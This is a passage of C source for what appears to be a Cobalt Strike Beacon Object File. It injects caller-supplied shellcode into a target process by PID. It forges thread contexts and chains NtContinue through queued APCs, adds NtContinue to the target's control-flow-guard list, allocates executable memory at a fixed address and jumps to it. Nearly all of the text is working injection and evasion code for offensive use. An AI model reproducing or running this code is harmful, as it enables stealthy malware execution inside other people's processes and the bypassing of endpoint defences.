LPVOID RtlExitUserThread = KERNEL32$GetProcAddress(module, "RtlExitUserThread");
LPVOID NTALLOC = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32.dll"), "VirtualAlloc");
LPVOID wso = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32.dll"), "WaitForSingleObject");
PCONTEXT ContextRopAlloc = { 0 };
PCONTEXT ContextFake = { 0 };
PCONTEXT ContextExec = { 0 };
PCONTEXT ContextRopcpy = { 0 };
ContextRopAlloc = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT));
ContextExec = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT));
ContextFake = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT));
ContextRopcpy = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT));
HANDLE fakeThread = NULL;
NtCreateThreadEx(&fakeThread, THREAD_ALL_ACCESS, NULL, hProc, RtlExitUserThread, (PVOID)0x00000000, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL);
ContextFake->ContextFlags = CONTEXT_FULL;
NtGetContextThread(fakeThread, ContextFake);
CustomCopy(ContextRopAlloc, ContextFake, sizeof(CONTEXT));
ContextRopAlloc->ContextFlags = CONTEXT_FULL;
CustomCopy(ContextRopcpy, ContextFake, sizeof(CONTEXT));
ContextRopcpy->ContextFlags = CONTEXT_FULL;
CustomCopy(ContextExec, ContextFake, sizeof(CONTEXT));
ContextExec->ContextFlags = CONTEXT_FULL;
PCONTEXT contextOfVirtualAlloc = (PCONTEXT)RemoteAllocation(hProc, (LPVOID)heapAddress, sizeof(CONTEXT), module);
ContextRopAlloc->Rsp -= (ULONG_PTR)0x1000 * 9;
ContextRopAlloc->Rip = (ULONG_PTR)NTALLOC;
ContextRopAlloc->Rcx = (ULONG_PTR)0x00000000DDDD0000;
ContextRopAlloc->Rdx = (ULONG_PTR)sc_len;
ContextRopAlloc->R8 = (ULONG_PTR)MEM_COMMIT | MEM_RESERVE;
ContextRopAlloc->R9 = (ULONG_PTR)PAGE_EXECUTE_READWRITE;
WriteRemoteMemory(hProc, contextOfVirtualAlloc, sizeof(CONTEXT), (unsigned char*)ContextRopAlloc, module);
WriteRemoteMemory(hProc, (PVOID)ContextRopAlloc->Rsp, sizeof(PVOID), (unsigned char*)&NtTestAlert, module);
NtQueueApcThread(fakeThread, (PKNORMAL_ROUTINE)NtContinue, contextOfVirtualAlloc, NULL, NULL);
PCONTEXT contextOfcpy = (PCONTEXT)RemoteAllocation(hProc, (LPVOID)heapAddress, sizeof(CONTEXT), module);
ContextRopcpy->Rsp -= (ULONG_PTR)0x1000 * 8;
ContextRopcpy->Rip = (ULONG_PTR)wso;
ContextRopcpy->Rcx = (ULONG_PTR)(HANDLE)-1;
ContextRopcpy->Rdx = (ULONG_PTR)10000;
WriteRemoteMemory(hProc, contextOfcpy, sizeof(CONTEXT), (unsigned char*)ContextRopcpy, module);
WriteRemoteMemory(hProc, (PVOID)ContextRopcpy->Rsp, sizeof(PVOID), (unsigned char*)&NtTestAlert, module);
NtQueueApcThread(fakeThread, (PKNORMAL_ROUTINE)NtContinue, contextOfcpy, NULL, NULL);
PCONTEXT contextOfExec = (PCONTEXT)RemoteAllocation(hProc, (LPVOID)heapAddress, sizeof(CONTEXT), module);
ContextExec->Rsp -= (ULONG_PTR)0x1000 * 7;
ContextExec->Rip = (ULONG_PTR)0x00000000DDDD0000;
WriteRemoteMemory(hProc, contextOfExec, sizeof(CONTEXT), (unsigned char*)ContextExec, module);
WriteRemoteMemory(hProc, (PVOID)ContextExec->Rsp, sizeof(PVOID), (unsigned char*)&NtTestAlert, module);
NtQueueApcThread(fakeThread, (PKNORMAL_ROUTINE)NtContinue, contextOfExec, NULL, NULL);
NtResumeThread(fakeThread, NULL);
WriteRemoteMemory(hProc, (LPVOID)0x00000000DDDD0000, sc_len, sc_ptr, module);
KERNEL32$LocalFree(ContextRopAlloc);
KERNEL32$LocalFree(ContextExec);
KERNEL32$LocalFree(ContextFake);
}
void go(char *args, int len) {
char* sc_ptr;
SIZE_T sc_len;
DWORD pid;
datap parser;
HANDLE hProc = NULL;
BeaconDataParse(&parser, args, len);
pid = BeaconDataInt(&parser);
sc_len = BeaconDataLength(&parser) - 4;
sc_ptr = BeaconDataExtract(&parser, NULL);
HMODULE hNtdll = KERNEL32$GetModuleHandleA("ntdll.dll");
LPVOID NtContinue = (LPVOID)KERNEL32$GetProcAddress(hNtdll, "NtContinue");
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION, FALSE, pid);
if (hProc == NULL){
BeaconPrintf(CALLBACK_ERROR, "[X] OpenProcess Failed!\n");
return;
}
CfgAddressAdd((ULONG_PTR)hNtdll, (ULONG_PTR)NtContinue, hProc, 0x1);
KERNEL32$CloseHandle(hProc);
hProc = NULL;
hProc = KERNEL32$OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
LPVOID PebAddr = getPeb(hProc, hNtdll);
KERNEL32$CloseHandle(hProc);
hProc = NULL;
hProc = KERNEL32$OpenProcess(PROCESS_CREATE_THREAD, FALSE, pid);
BeaconPrintf(CALLBACK_OUTPUT, "[+] Peb Address: 0x%p\n", PebAddr);
INT64* HeapAddr = (INT64*)ReadRemoteMemory(hProc, (char*)PebAddr + 0x30, 8, hNtdll);
INT64 readHeap = *HeapAddr;
BeaconPrintf(CALLBACK_OUTPUT, "[+] Heap Base Addr: %p\n", readHeap);
InjectShellcode(hProc, readHeap, hNtdll ,sc_ptr, sc_len);
KERNEL32$CloseHandle(hProc);
}